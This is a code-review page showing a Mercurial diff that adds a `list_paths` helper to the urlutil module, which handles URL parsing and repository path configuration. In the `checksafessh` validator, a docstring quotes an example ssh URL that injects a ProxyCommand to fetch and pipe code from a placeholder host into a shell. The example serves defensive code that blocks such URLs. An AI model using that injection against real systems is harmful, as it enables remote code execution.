##// END OF EJS Templates
urlutil: introduce a new `list_paths` function...
marmoute -
r47794:83902c57 default draft
parent child Browse files
Show More
@@ -1,812 +1,824 b''
1 1 # utils.urlutil - code related to [paths] management
2 2 #
3 3 # Copyright 2005-2021 Olivia Mackall <olivia@selenic.com> and others
4 4 #
5 5 # This software may be used and distributed according to the terms of the
6 6 # GNU General Public License version 2 or any later version.
7 7 import os
8 8 import re as remod
9 9 import socket
10 10
11 11 from ..i18n import _
12 12 from ..pycompat import (
13 13 getattr,
14 14 setattr,
15 15 )
16 16 from .. import (
17 17 encoding,
18 18 error,
19 19 pycompat,
20 20 urllibcompat,
21 21 )
22 22
23 23
24 24 if pycompat.TYPE_CHECKING:
25 25 from typing import (
26 26 Union,
27 27 )
28 28
29 29 urlreq = urllibcompat.urlreq
30 30
31 31
32 32 def getport(port):
33 33 # type: (Union[bytes, int]) -> int
34 34 """Return the port for a given network service.
35 35
36 36 If port is an integer, it's returned as is. If it's a string, it's
37 37 looked up using socket.getservbyname(). If there's no matching
38 38 service, error.Abort is raised.
39 39 """
40 40 try:
41 41 return int(port)
42 42 except ValueError:
43 43 pass
44 44
45 45 try:
46 46 return socket.getservbyname(pycompat.sysstr(port))
47 47 except socket.error:
48 48 raise error.Abort(
49 49 _(b"no port number associated with service '%s'") % port
50 50 )
51 51
52 52
53 53 class url(object):
54 54 r"""Reliable URL parser.
55 55
56 56 This parses URLs and provides attributes for the following
57 57 components:
58 58
59 59 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
60 60
61 61 Missing components are set to None. The only exception is
62 62 fragment, which is set to '' if present but empty.
63 63
64 64 If parsefragment is False, fragment is included in query. If
65 65 parsequery is False, query is included in path. If both are
66 66 False, both fragment and query are included in path.
67 67
68 68 See http://www.ietf.org/rfc/rfc2396.txt for more information.
69 69
70 70 Note that for backward compatibility reasons, bundle URLs do not
71 71 take host names. That means 'bundle://../' has a path of '../'.
72 72
73 73 Examples:
74 74
75 75 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
76 76 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
77 77 >>> url(b'ssh://[::1]:2200//home/joe/repo')
78 78 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
79 79 >>> url(b'file:///home/joe/repo')
80 80 <url scheme: 'file', path: '/home/joe/repo'>
81 81 >>> url(b'file:///c:/temp/foo/')
82 82 <url scheme: 'file', path: 'c:/temp/foo/'>
83 83 >>> url(b'bundle:foo')
84 84 <url scheme: 'bundle', path: 'foo'>
85 85 >>> url(b'bundle://../foo')
86 86 <url scheme: 'bundle', path: '../foo'>
87 87 >>> url(br'c:\foo\bar')
88 88 <url path: 'c:\\foo\\bar'>
89 89 >>> url(br'\\blah\blah\blah')
90 90 <url path: '\\\\blah\\blah\\blah'>
91 91 >>> url(br'\\blah\blah\blah#baz')
92 92 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
93 93 >>> url(br'file:///C:\users\me')
94 94 <url scheme: 'file', path: 'C:\\users\\me'>
95 95
96 96 Authentication credentials:
97 97
98 98 >>> url(b'ssh://joe:xyz@x/repo')
99 99 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
100 100 >>> url(b'ssh://joe@x/repo')
101 101 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
102 102
103 103 Query strings and fragments:
104 104
105 105 >>> url(b'http://host/a?b#c')
106 106 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
107 107 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
108 108 <url scheme: 'http', host: 'host', path: 'a?b#c'>
109 109
110 110 Empty path:
111 111
112 112 >>> url(b'')
113 113 <url path: ''>
114 114 >>> url(b'#a')
115 115 <url path: '', fragment: 'a'>
116 116 >>> url(b'http://host/')
117 117 <url scheme: 'http', host: 'host', path: ''>
118 118 >>> url(b'http://host/#a')
119 119 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
120 120
121 121 Only scheme:
122 122
123 123 >>> url(b'http:')
124 124 <url scheme: 'http'>
125 125 """
126 126
127 127 _safechars = b"!~*'()+"
128 128 _safepchars = b"/!~*'()+:\\"
129 129 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
130 130
131 131 def __init__(self, path, parsequery=True, parsefragment=True):
132 132 # type: (bytes, bool, bool) -> None
133 133 # We slowly chomp away at path until we have only the path left
134 134 self.scheme = self.user = self.passwd = self.host = None
135 135 self.port = self.path = self.query = self.fragment = None
136 136 self._localpath = True
137 137 self._hostport = b''
138 138 self._origpath = path
139 139
140 140 if parsefragment and b'#' in path:
141 141 path, self.fragment = path.split(b'#', 1)
142 142
143 143 # special case for Windows drive letters and UNC paths
144 144 if hasdriveletter(path) or path.startswith(b'\\\\'):
145 145 self.path = path
146 146 return
147 147
148 148 # For compatibility reasons, we can't handle bundle paths as
149 149 # normal URLS
150 150 if path.startswith(b'bundle:'):
151 151 self.scheme = b'bundle'
152 152 path = path[7:]
153 153 if path.startswith(b'//'):
154 154 path = path[2:]
155 155 self.path = path
156 156 return
157 157
158 158 if self._matchscheme(path):
159 159 parts = path.split(b':', 1)
160 160 if parts[0]:
161 161 self.scheme, path = parts
162 162 self._localpath = False
163 163
164 164 if not path:
165 165 path = None
166 166 if self._localpath:
167 167 self.path = b''
168 168 return
169 169 else:
170 170 if self._localpath:
171 171 self.path = path
172 172 return
173 173
174 174 if parsequery and b'?' in path:
175 175 path, self.query = path.split(b'?', 1)
176 176 if not path:
177 177 path = None
178 178 if not self.query:
179 179 self.query = None
180 180
181 181 # // is required to specify a host/authority
182 182 if path and path.startswith(b'//'):
183 183 parts = path[2:].split(b'/', 1)
184 184 if len(parts) > 1:
185 185 self.host, path = parts
186 186 else:
187 187 self.host = parts[0]
188 188 path = None
189 189 if not self.host:
190 190 self.host = None
191 191 # path of file:///d is /d
192 192 # path of file:///d:/ is d:/, not /d:/
193 193 if path and not hasdriveletter(path):
194 194 path = b'/' + path
195 195
196 196 if self.host and b'@' in self.host:
197 197 self.user, self.host = self.host.rsplit(b'@', 1)
198 198 if b':' in self.user:
199 199 self.user, self.passwd = self.user.split(b':', 1)
200 200 if not self.host:
201 201 self.host = None
202 202
203 203 # Don't split on colons in IPv6 addresses without ports
204 204 if (
205 205 self.host
206 206 and b':' in self.host
207 207 and not (
208 208 self.host.startswith(b'[') and self.host.endswith(b']')
209 209 )
210 210 ):
211 211 self._hostport = self.host
212 212 self.host, self.port = self.host.rsplit(b':', 1)
213 213 if not self.host:
214 214 self.host = None
215 215
216 216 if (
217 217 self.host
218 218 and self.scheme == b'file'
219 219 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
220 220 ):
221 221 raise error.Abort(
222 222 _(b'file:// URLs can only refer to localhost')
223 223 )
224 224
225 225 self.path = path
226 226
227 227 # leave the query string escaped
228 228 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
229 229 v = getattr(self, a)
230 230 if v is not None:
231 231 setattr(self, a, urlreq.unquote(v))
232 232
233 233 def copy(self):
234 234 u = url(b'temporary useless value')
235 235 u.path = self.path
236 236 u.scheme = self.scheme
237 237 u.user = self.user
238 238 u.passwd = self.passwd
239 239 u.host = self.host
240 240 u.path = self.path
241 241 u.query = self.query
242 242 u.fragment = self.fragment
243 243 u._localpath = self._localpath
244 244 u._hostport = self._hostport
245 245 u._origpath = self._origpath
246 246 return u
247 247
248 248 @encoding.strmethod
249 249 def __repr__(self):
250 250 attrs = []
251 251 for a in (
252 252 b'scheme',
253 253 b'user',
254 254 b'passwd',
255 255 b'host',
256 256 b'port',
257 257 b'path',
258 258 b'query',
259 259 b'fragment',
260 260 ):
261 261 v = getattr(self, a)
262 262 if v is not None:
263 263 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
264 264 return b'<url %s>' % b', '.join(attrs)
265 265
266 266 def __bytes__(self):
267 267 r"""Join the URL's components back into a URL string.
268 268
269 269 Examples:
270 270
271 271 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
272 272 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
273 273 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
274 274 'http://user:pw@host:80/?foo=bar&baz=42'
275 275 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
276 276 'http://user:pw@host:80/?foo=bar%3dbaz'
277 277 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
278 278 'ssh://user:pw@[::1]:2200//home/joe#'
279 279 >>> bytes(url(b'http://localhost:80//'))
280 280 'http://localhost:80//'
281 281 >>> bytes(url(b'http://localhost:80/'))
282 282 'http://localhost:80/'
283 283 >>> bytes(url(b'http://localhost:80'))
284 284 'http://localhost:80/'
285 285 >>> bytes(url(b'bundle:foo'))
286 286 'bundle:foo'
287 287 >>> bytes(url(b'bundle://../foo'))
288 288 'bundle:../foo'
289 289 >>> bytes(url(b'path'))
290 290 'path'
291 291 >>> bytes(url(b'file:///tmp/foo/bar'))
292 292 'file:///tmp/foo/bar'
293 293 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
294 294 'file:///c:/tmp/foo/bar'
295 295 >>> print(url(br'bundle:foo\bar'))
296 296 bundle:foo\bar
297 297 >>> print(url(br'file:///D:\data\hg'))
298 298 file:///D:\data\hg
299 299 """
300 300 if self._localpath:
301 301 s = self.path
302 302 if self.scheme == b'bundle':
303 303 s = b'bundle:' + s
304 304 if self.fragment:
305 305 s += b'#' + self.fragment
306 306 return s
307 307
308 308 s = self.scheme + b':'
309 309 if self.user or self.passwd or self.host:
310 310 s += b'//'
311 311 elif self.scheme and (
312 312 not self.path
313 313 or self.path.startswith(b'/')
314 314 or hasdriveletter(self.path)
315 315 ):
316 316 s += b'//'
317 317 if hasdriveletter(self.path):
318 318 s += b'/'
319 319 if self.user:
320 320 s += urlreq.quote(self.user, safe=self._safechars)
321 321 if self.passwd:
322 322 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
323 323 if self.user or self.passwd:
324 324 s += b'@'
325 325 if self.host:
326 326 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
327 327 s += urlreq.quote(self.host)
328 328 else:
329 329 s += self.host
330 330 if self.port:
331 331 s += b':' + urlreq.quote(self.port)
332 332 if self.host:
333 333 s += b'/'
334 334 if self.path:
335 335 # TODO: similar to the query string, we should not unescape the
336 336 # path when we store it, the path might contain '%2f' = '/',
337 337 # which we should *not* escape.
338 338 s += urlreq.quote(self.path, safe=self._safepchars)
339 339 if self.query:
340 340 # we store the query in escaped form.
341 341 s += b'?' + self.query
342 342 if self.fragment is not None:
343 343 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
344 344 return s
345 345
346 346 __str__ = encoding.strmethod(__bytes__)
347 347
348 348 def authinfo(self):
349 349 user, passwd = self.user, self.passwd
350 350 try:
351 351 self.user, self.passwd = None, None
352 352 s = bytes(self)
353 353 finally:
354 354 self.user, self.passwd = user, passwd
355 355 if not self.user:
356 356 return (s, None)
357 357 # authinfo[1] is passed to urllib2 password manager, and its
358 358 # URIs must not contain credentials. The host is passed in the
359 359 # URIs list because Python < 2.4.3 uses only that to search for
360 360 # a password.
361 361 return (s, (None, (s, self.host), self.user, self.passwd or b''))
362 362
363 363 def isabs(self):
364 364 if self.scheme and self.scheme != b'file':
365 365 return True # remote URL
366 366 if hasdriveletter(self.path):
367 367 return True # absolute for our purposes - can't be joined()
368 368 if self.path.startswith(br'\\'):
369 369 return True # Windows UNC path
370 370 if self.path.startswith(b'/'):
371 371 return True # POSIX-style
372 372 return False
373 373
374 374 def localpath(self):
375 375 # type: () -> bytes
376 376 if self.scheme == b'file' or self.scheme == b'bundle':
377 377 path = self.path or b'/'
378 378 # For Windows, we need to promote hosts containing drive
379 379 # letters to paths with drive letters.
380 380 if hasdriveletter(self._hostport):
381 381 path = self._hostport + b'/' + self.path
382 382 elif (
383 383 self.host is not None and self.path and not hasdriveletter(path)
384 384 ):
385 385 path = b'/' + path
386 386 return path
387 387 return self._origpath
388 388
389 389 def islocal(self):
390 390 '''whether localpath will return something that posixfile can open'''
391 391 return (
392 392 not self.scheme
393 393 or self.scheme == b'file'
394 394 or self.scheme == b'bundle'
395 395 )
396 396
397 397
398 398 def hasscheme(path):
399 399 # type: (bytes) -> bool
400 400 return bool(url(path).scheme) # cast to help pytype
401 401
402 402
403 403 def hasdriveletter(path):
404 404 # type: (bytes) -> bool
405 405 return bool(path) and path[1:2] == b':' and path[0:1].isalpha()
406 406
407 407
408 408 def urllocalpath(path):
409 409 # type: (bytes) -> bytes
410 410 return url(path, parsequery=False, parsefragment=False).localpath()
411 411
412 412
413 413 def checksafessh(path):
414 414 # type: (bytes) -> None
415 415 """check if a path / url is a potentially unsafe ssh exploit (SEC)
416 416
417 417 This is a sanity check for ssh urls. ssh will parse the first item as
418 418 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
419 419 Let's prevent these potentially exploited urls entirely and warn the
420 420 user.
421 421
422 422 Raises an error.Abort when the url is unsafe.
423 423 """
424 424 path = urlreq.unquote(path)
425 425 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
426 426 raise error.Abort(
427 427 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
428 428 )
429 429
430 430
431 431 def hidepassword(u):
432 432 # type: (bytes) -> bytes
433 433 '''hide user credential in a url string'''
434 434 u = url(u)
435 435 if u.passwd:
436 436 u.passwd = b'***'
437 437 return bytes(u)
438 438
439 439
440 440 def removeauth(u):
441 441 # type: (bytes) -> bytes
442 442 '''remove all authentication information from a url string'''
443 443 u = url(u)
444 444 u.user = u.passwd = None
445 445 return bytes(u)
446 446
447 447
448 def list_paths(ui, target_path=None):
449 """list all the (name, paths) in the passed ui"""
450 if target_path is None:
451 return sorted(pycompat.iteritems(ui.paths))
452 else:
453 path = ui.paths.get(target_path)
454 if path is None:
455 return []
456 else:
457 return [(target_path, path)]
458
459
448 460 def try_path(ui, url):
449 461 """try to build a path from a url
450 462
451 463 Return None if no Path could built.
452 464 """
453 465 try:
454 466 # we pass the ui instance are warning might need to be issued
455 467 return path(ui, None, rawloc=url)
456 468 except ValueError:
457 469 return None
458 470
459 471
460 472 def get_push_paths(repo, ui, dests):
461 473 """yields all the `path` selected as push destination by `dests`"""
462 474 if not dests:
463 475 if b'default-push' in ui.paths:
464 476 yield ui.paths[b'default-push']
465 477 elif b'default' in ui.paths:
466 478 yield ui.paths[b'default']
467 479 else:
468 480 raise error.ConfigError(
469 481 _(b'default repository not configured!'),
470 482 hint=_(b"see 'hg help config.paths'"),
471 483 )
472 484 else:
473 485 for dest in dests:
474 486 if dest in ui.paths:
475 487 yield ui.paths[dest]
476 488 else:
477 489 path = try_path(ui, dest)
478 490 if path is None:
479 491 msg = _(b'repository %s does not exist')
480 492 msg %= dest
481 493 raise error.RepoError(msg)
482 494 yield path
483 495
484 496
485 497 def get_pull_paths(repo, ui, sources, default_branches=()):
486 498 """yields all the `(path, branch)` selected as pull source by `sources`"""
487 499 if not sources:
488 500 sources = [b'default']
489 501 for source in sources:
490 502 if source in ui.paths:
491 503 url = ui.paths[source].rawloc
492 504 else:
493 505 # Try to resolve as a local path or URI.
494 506 path = try_path(ui, source)
495 507 if path is not None:
496 508 url = path.rawloc
497 509 else:
498 510 url = source
499 511 yield parseurl(url, default_branches)
500 512
501 513
502 514 def get_unique_push_path(action, repo, ui, dest=None):
503 515 """return a unique `path` or abort if multiple are found
504 516
505 517 This is useful for command and action that does not support multiple
506 518 destination (yet).
507 519
508 520 Note that for now, we cannot get multiple destination so this function is "trivial".
509 521
510 522 The `action` parameter will be used for the error message.
511 523 """
512 524 if dest is None:
513 525 dests = []
514 526 else:
515 527 dests = [dest]
516 528 dests = list(get_push_paths(repo, ui, dests))
517 529 assert len(dests) == 1
518 530 return dests[0]
519 531
520 532
521 533 def get_unique_pull_path(action, repo, ui, source=None, default_branches=()):
522 534 """return a unique `(path, branch)` or abort if multiple are found
523 535
524 536 This is useful for command and action that does not support multiple
525 537 destination (yet).
526 538
527 539 Note that for now, we cannot get multiple destination so this function is "trivial".
528 540
529 541 The `action` parameter will be used for the error message.
530 542 """
531 543 if source is None:
532 544 if b'default' in ui.paths:
533 545 url = ui.paths[b'default'].rawloc
534 546 else:
535 547 # XXX this is the historical default behavior, but that is not
536 548 # great, consider breaking BC on this.
537 549 url = b'default'
538 550 else:
539 551 if source in ui.paths:
540 552 url = ui.paths[source].rawloc
541 553 else:
542 554 # Try to resolve as a local path or URI.
543 555 path = try_path(ui, source)
544 556 if path is not None:
545 557 url = path.rawloc
546 558 else:
547 559 url = source
548 560 return parseurl(url, default_branches)
549 561
550 562
551 563 def get_clone_path(ui, source, default_branches=()):
552 564 """return the `(origsource, path, branch)` selected as clone source"""
553 565 if source is None:
554 566 if b'default' in ui.paths:
555 567 url = ui.paths[b'default'].rawloc
556 568 else:
557 569 # XXX this is the historical default behavior, but that is not
558 570 # great, consider breaking BC on this.
559 571 url = b'default'
560 572 else:
561 573 if source in ui.paths:
562 574 url = ui.paths[source].rawloc
563 575 else:
564 576 # Try to resolve as a local path or URI.
565 577 path = try_path(ui, source)
566 578 if path is not None:
567 579 url = path.rawloc
568 580 else:
569 581 url = source
570 582 clone_path, branch = parseurl(url, default_branches)
571 583 return url, clone_path, branch
572 584
573 585
574 586 def parseurl(path, branches=None):
575 587 '''parse url#branch, returning (url, (branch, branches))'''
576 588 u = url(path)
577 589 branch = None
578 590 if u.fragment:
579 591 branch = u.fragment
580 592 u.fragment = None
581 593 return bytes(u), (branch, branches or [])
582 594
583 595
584 596 class paths(dict):
585 597 """Represents a collection of paths and their configs.
586 598
587 599 Data is initially derived from ui instances and the config files they have
588 600 loaded.
589 601 """
590 602
591 603 def __init__(self, ui):
592 604 dict.__init__(self)
593 605
594 606 for name, loc in ui.configitems(b'paths', ignoresub=True):
595 607 # No location is the same as not existing.
596 608 if not loc:
597 609 continue
598 610 loc, sub_opts = ui.configsuboptions(b'paths', name)
599 611 self[name] = path(ui, name, rawloc=loc, suboptions=sub_opts)
600 612
601 613 for name, p in sorted(self.items()):
602 614 p.chain_path(ui, self)
603 615
604 616 def getpath(self, ui, name, default=None):
605 617 """Return a ``path`` from a string, falling back to default.
606 618
607 619 ``name`` can be a named path or locations. Locations are filesystem
608 620 paths or URIs.
609 621
610 622 Returns None if ``name`` is not a registered path, a URI, or a local
611 623 path to a repo.
612 624 """
613 625 msg = b'getpath is deprecated, use `get_*` functions from urlutil'
614 626 self.deprecwarn(msg, '6.0')
615 627 # Only fall back to default if no path was requested.
616 628 if name is None:
617 629 if not default:
618 630 default = ()
619 631 elif not isinstance(default, (tuple, list)):
620 632 default = (default,)
621 633 for k in default:
622 634 try:
623 635 return self[k]
624 636 except KeyError:
625 637 continue
626 638 return None
627 639
628 640 # Most likely empty string.
629 641 # This may need to raise in the future.
630 642 if not name:
631 643 return None
632 644 if name in self:
633 645 return self[name]
634 646 else:
635 647 # Try to resolve as a local path or URI.
636 648 path = try_path(ui, name)
637 649 if path is None:
638 650 raise error.RepoError(_(b'repository %s does not exist') % name)
639 651 return path.rawloc
640 652
641 653
642 654 _pathsuboptions = {}
643 655
644 656
645 657 def pathsuboption(option, attr):
646 658 """Decorator used to declare a path sub-option.
647 659
648 660 Arguments are the sub-option name and the attribute it should set on
649 661 ``path`` instances.
650 662
651 663 The decorated function will receive as arguments a ``ui`` instance,
652 664 ``path`` instance, and the string value of this option from the config.
653 665 The function should return the value that will be set on the ``path``
654 666 instance.
655 667
656 668 This decorator can be used to perform additional verification of
657 669 sub-options and to change the type of sub-options.
658 670 """
659 671
660 672 def register(func):
661 673 _pathsuboptions[option] = (attr, func)
662 674 return func
663 675
664 676 return register
665 677
666 678
667 679 @pathsuboption(b'pushurl', b'pushloc')
668 680 def pushurlpathoption(ui, path, value):
669 681 u = url(value)
670 682 # Actually require a URL.
671 683 if not u.scheme:
672 684 ui.warn(_(b'(paths.%s:pushurl not a URL; ignoring)\n') % path.name)
673 685 return None
674 686
675 687 # Don't support the #foo syntax in the push URL to declare branch to
676 688 # push.
677 689 if u.fragment:
678 690 ui.warn(
679 691 _(
680 692 b'("#fragment" in paths.%s:pushurl not supported; '
681 693 b'ignoring)\n'
682 694 )
683 695 % path.name
684 696 )
685 697 u.fragment = None
686 698
687 699 return bytes(u)
688 700
689 701
690 702 @pathsuboption(b'pushrev', b'pushrev')
691 703 def pushrevpathoption(ui, path, value):
692 704 return value
693 705
694 706
695 707 class path(object):
696 708 """Represents an individual path and its configuration."""
697 709
698 710 def __init__(self, ui, name, rawloc=None, suboptions=None):
699 711 """Construct a path from its config options.
700 712
701 713 ``ui`` is the ``ui`` instance the path is coming from.
702 714 ``name`` is the symbolic name of the path.
703 715 ``rawloc`` is the raw location, as defined in the config.
704 716 ``pushloc`` is the raw locations pushes should be made to.
705 717
706 718 If ``name`` is not defined, we require that the location be a) a local
707 719 filesystem path with a .hg directory or b) a URL. If not,
708 720 ``ValueError`` is raised.
709 721 """
710 722 if not rawloc:
711 723 raise ValueError(b'rawloc must be defined')
712 724
713 725 # Locations may define branches via syntax <base>#<branch>.
714 726 u = url(rawloc)
715 727 branch = None
716 728 if u.fragment:
717 729 branch = u.fragment
718 730 u.fragment = None
719 731
720 732 self.url = u
721 733 # the url from the config/command line before dealing with `path://`
722 734 self.raw_url = u.copy()
723 735 self.branch = branch
724 736
725 737 self.name = name
726 738 self.rawloc = rawloc
727 739 self.loc = b'%s' % u
728 740
729 741 self._validate_path()
730 742
731 743 _path, sub_opts = ui.configsuboptions(b'paths', b'*')
732 744 self._own_sub_opts = {}
733 745 if suboptions is not None:
734 746 self._own_sub_opts = suboptions.copy()
735 747 sub_opts.update(suboptions)
736 748 self._all_sub_opts = sub_opts.copy()
737 749
738 750 self._apply_suboptions(ui, sub_opts)
739 751
740 752 def chain_path(self, ui, paths):
741 753 if self.url.scheme == b'path':
742 754 assert self.url.path is None
743 755 try:
744 756 subpath = paths[self.url.host]
745 757 except KeyError:
746 758 m = _(b'cannot use `%s`, "%s" is not a known path')
747 759 m %= (self.rawloc, self.url.host)
748 760 raise error.Abort(m)
749 761 if subpath.raw_url.scheme == b'path':
750 762 m = _(b'cannot use `%s`, "%s" is also defined as a `path://`')
751 763 m %= (self.rawloc, self.url.host)
752 764 raise error.Abort(m)
753 765 self.url = subpath.url
754 766 self.rawloc = subpath.rawloc
755 767 self.loc = subpath.loc
756 768 if self.branch is None:
757 769 self.branch = subpath.branch
758 770 else:
759 771 base = self.rawloc.rsplit(b'#', 1)[0]
760 772 self.rawloc = b'%s#%s' % (base, self.branch)
761 773 suboptions = subpath._all_sub_opts.copy()
762 774 suboptions.update(self._own_sub_opts)
763 775 self._apply_suboptions(ui, suboptions)
764 776
765 777 def _validate_path(self):
766 778 # When given a raw location but not a symbolic name, validate the
767 779 # location is valid.
768 780 if (
769 781 not self.name
770 782 and not self.url.scheme
771 783 and not self._isvalidlocalpath(self.loc)
772 784 ):
773 785 raise ValueError(
774 786 b'location is not a URL or path to a local '
775 787 b'repo: %s' % self.rawloc
776 788 )
777 789
778 790 def _apply_suboptions(self, ui, sub_options):
779 791 # Now process the sub-options. If a sub-option is registered, its
780 792 # attribute will always be present. The value will be None if there
781 793 # was no valid sub-option.
782 794 for suboption, (attr, func) in pycompat.iteritems(_pathsuboptions):
783 795 if suboption not in sub_options:
784 796 setattr(self, attr, None)
785 797 continue
786 798
787 799 value = func(ui, self, sub_options[suboption])
788 800 setattr(self, attr, value)
789 801
790 802 def _isvalidlocalpath(self, path):
791 803 """Returns True if the given path is a potentially valid repository.
792 804 This is its own function so that extensions can change the definition of
793 805 'valid' in this case (like when pulling from a git repo into a hg
794 806 one)."""
795 807 try:
796 808 return os.path.isdir(os.path.join(path, b'.hg'))
797 809 # Python 2 may return TypeError. Python 3, ValueError.
798 810 except (TypeError, ValueError):
799 811 return False
800 812
801 813 @property
802 814 def suboptions(self):
803 815 """Return sub-options and their values for this path.
804 816
805 817 This is intended to be used for presentation purposes.
806 818 """
807 819 d = {}
808 820 for subopt, (attr, _func) in pycompat.iteritems(_pathsuboptions):
809 821 value = getattr(self, attr)
810 822 if value is not None:
811 823 d[subopt] = value
812 824 return d
General Comments 0
You need to be logged in to leave comments. Login now